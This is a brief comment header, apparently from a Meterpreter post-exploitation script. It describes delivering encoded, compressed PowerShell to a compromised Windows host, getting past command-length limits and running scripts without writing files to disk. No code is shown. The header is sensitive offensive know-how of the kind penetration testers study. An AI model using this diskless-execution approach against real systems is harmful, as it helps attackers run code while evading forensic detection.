##
# Original script comments by nick[at]executionflow.org:
# Meterpreter script to deliver and execute powershell scripts using
# a compression/encoding method based on the powershell PoC code
# from rel1k and winfang98 at DEF CON 18. This script furthers the
# idea by bypassing Windows' command character lmits, allowing the
# execution of very large scripts. No files are ever written to disk.
